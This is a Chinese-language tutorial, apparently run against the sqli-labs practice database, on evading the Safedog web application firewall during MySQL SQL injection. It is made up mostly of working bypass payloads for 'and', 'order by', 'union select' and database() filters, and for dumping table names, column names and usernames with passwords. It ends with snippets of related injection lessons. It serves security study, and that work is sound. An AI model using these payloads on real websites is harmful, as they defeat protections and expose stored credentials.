0x00 前言
0x01 一些特殊字元
1.注釋符號
/*!*/:內聯注釋,/*!12345union*/select等效union select2.其他符號/**/:注釋符號,/*/**/等效於/**/
-- +:--空格加任意字元
;%00
%23%0a:注釋換行符0x02 安全狗版本&、&&、|、||:邏輯操作符
``:反引號
版本:**安全狗(apache版) 4.0.26550
0x03 and繞過
首先測試語句and 1=1攔截情況
and //不攔截and 1=1 //攔截
and 1 //攔截
and a //不攔截
and 『a』 //攔截
經測試發現and後面跟數字型或字元型時會被攔截
繞過方法有兩種
1.使用其他字元替換and
使用&的url編碼%26替換and進行繞過
2.使用-1=-1和-1=-2替換繞過
可能對負數沒做限制,也可能是 – 繞過了正則匹配
0x04 繞過order by攔截
order //不攔截by //不攔截
order by //攔截
經過測試,此處有三種方法可以繞過:
1.注釋換行繞過
order--%0aby //攔截——了解到這是最初的姿勢,不過現已經失效order%23%0aby //不攔截——%23:注釋符,%0a換行符
2.內聯注釋加引數汙染繞過
order /*!by*/ 攔截數字加字母組合可繞過,經fuzz測試,當數字大於50553時不報錯order/*!/*55555*/by*/ 攔截
order/*!/*!50553*/by*/ 攔截
order/*!/*!50553test*/by*/ 不攔截但報錯
order/*!/*!50554test*/by*/ 不攔截
3.hpp引數汙染繞過
在跟伺服器互動的過程中,http允許get 或者post多次傳同一引數值,造成覆蓋達到一些繞過waf的效果。在php/apache 中,它總解析最後乙個id
0x05 繞過union select攔截
1.注釋換行加引數汙染繞過
單純使用注釋換行符被攔截,經測試在注釋符和換行符間加任意數字字母字元繞過
2.內聯注釋加引數繞過
同order by 繞過
3.hpp
引數汙染繞過
同order by 繞過
?id=1' /*&id='union select 1,database(),3-- +*/0x06 database()攔截繞過直接聯合查詢database()會被攔截
1.聯合查詢繞過
/*!database()*/ 攔截2.hpp引數汙染的語句中直接查詢database/*!()*/ 不攔截
database/*!(*/) 不攔截
後續查詢均可使用此方法繞過
0x07 查表名、列名、字段攔截繞過
經過測試,可以使用兩種方法繞過
1.內聯注釋
對table_name、column_name和欄位名使用內聯注釋繞過限制
union%23a%0aselect 1,group_concat(/*!table_name*/),3 from information_schema.tables where table_schema="security"-- +2.反引號union%23a%0aselect 1,group_concat(/*!column_name*/),3 from information_schema.columns where table_name="users"-- +
union%23a%0aselect 1,2,group_concat(/*!username*/,":",password) from users-- +
union%23a%0aselect 1,2,group_concat(username,":",/*!password*/) from users-- +
對information_schema使用反引號繞過
union%23a%0aselect 1,group_concat(table_name),3 from `information_schema`.tables where table_schema="security"--+Mysql下Union注入Bypass安全狗過程
文章 於 一次眾測發現個注入,然後有安全狗就順帶看了下安全狗。嘗試用union函式 union select 1,2,3 攔截 union 20select 1,2,3,4 不攔截,注意select前面有個空格。之前出題的 懶得改了 中二。union 20select 201,select 20us...
學習 SQL注入 POST注入
實踐 頁面顯示 看來目標很明確,還是要注入 post pro id 1 and 1 1 post pro id 1 and 1 2 發現存在注入 post pro id 0 union select 1,2,3,4 存在四列,且顯示的位置為2 這邊使用了version database user 測...
sqli labs學習sql注入
在sql注入時應該記住的一些東西 information schema庫存放了所有庫的資訊 information schema.columns包含了所有表的字段 table name表名 table schema資料庫名 column name列名 information schema.table...